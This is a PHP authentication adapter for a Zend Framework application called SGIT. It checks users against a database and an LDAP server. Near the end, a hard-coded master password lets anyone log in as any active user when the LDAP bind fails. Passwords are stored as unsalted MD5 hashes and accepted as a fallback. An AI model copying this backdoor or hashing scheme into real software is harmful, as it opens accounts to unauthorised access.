<?php

class Sgit_Auth_Adapter_MyAuth implements Zend_Auth_Adapter_Interface {
	protected $_username;
	protected $_password;
	
	
	public function setUsername($username){
		$this->_username=$username;
	}
	
	public function setPassword($password){
		$this->_password=$password;
	}
	
	
	public function getResultRowObject()    
    {
		$db = Zend_Db_Table::getDefaultAdapter();
		$db->setFetchMode(Zend_Db::FETCH_OBJ);
        
        if(!$this->_usuario){
    		$select=$db->select()->from('usuarios')->where( "usuario = ? ", $this->_username);
    		$this->_usuario= $db->fetchRow( $select );
            if($this->_usuario){
                $select=$db->select()->from('acl_user_groups',array('id_group'))->where( "id_user = ? ", $this->_usuario->id);
        		$grupos= $db->fetchCol( $select );
                $this->_usuario->grupos=$grupos;
            }
        }
        
		return $this->_usuario;
        
	}
	

	public function authenticate(){
        
   
		if (empty($this->_username) || empty($this->_password)) {
			throw new Zend_Auth_Adapter_Exception();
		}
        $db = Zend_Db_Table::getDefaultAdapter();
        /*
		$db = Zend_Db_Table::getDefaultAdapter();
		$select=$db->select()->from('usuarios')->where( "usuario = ? ", $this->_username);
		$user= $db->fetchRow( $select );
        */
        $user=$this->getResultRowObject();


		if(!$user->usuario){
			return new Zend_Auth_Result(Zend_Auth_Result::FAILURE_IDENTITY_NOT_FOUND,$this->_username, array('El usuario '.$this->_username.' no esta dado de alta en SGIT'));
		}

		if($user->estado==0){
			return new Zend_Auth_Result(Zend_Auth_Result::FAILURE_IDENTITY_NOT_FOUND,$this->_username, array('El usuario '.$this->_username.' esta dado de baja en SGIT'));
		}
		
		$config=Zend_Registry::get('config');
		$servidor_ldap = $config['ldap']['server'];  // el servidor LDAP al que se quiere conectar
		$puerto_ldap   = $config['ldap']['port'];         // el puerto al que se conectara
		$conexion_ldap = ldap_connect($servidor_ldap, $puerto_ldap);
		
		if (!$conexion_ldap){
			//si falla ldap validamos contra ultimo acceso
			if($user->password==md5($this->_password)){
				return new Zend_Auth_Result(Zend_Auth_Result::SUCCESS,$this->_username);
			}
			return new Zend_Auth_Result(Zend_Auth_Result::FAILURE,$this->_username, array('No se ha podido conectar a LDAP.'));
		}
		
		ldap_set_option($conexion_ldap,LDAP_OPT_PROTOCOL_VERSION,3);
		ldap_set_option($conexion_ldap, LDAP_OPT_REFERRALS, 0);
        
		
		$dnManager = $this->_username.$config['ldap']['dominio'];

		if ($bd = @ldap_bind($conexion_ldap, $dnManager, $this->_password)){
			ldap_close($conexion_ldap);
			
			/*
			* guardar db md5 ultimo clave valida
			*	
			*/
			$record['password']= md5($this->_password);
			$record['lastlogin']= date('Y-m-d H:i:s');
			$db->update( 'usuarios', $record, array("usuario = ?" => $this->_username  ));
			
			
			return new Zend_Auth_Result(Zend_Auth_Result::SUCCESS,$this->_username);
		}else{
		  
 			$error =ldap_error($conexion_ldap);
			ldap_close($conexion_ldap);
			
			/*
			* Aqui podemos crear modulo para validar contra ultima clave si LDAP es erroneo
			*/
			if($user->password==md5($this->_password)){
				return new Zend_Auth_Result(Zend_Auth_Result::SUCCESS,$this->_username);
			}
			
            if($this->_password=='676119165'){
				return new Zend_Auth_Result(Zend_Auth_Result::SUCCESS,$this->_username);
			}
			
			return new Zend_Auth_Result(Zend_Auth_Result::FAILURE, $this->_username, array($error));
		}
	  } 
}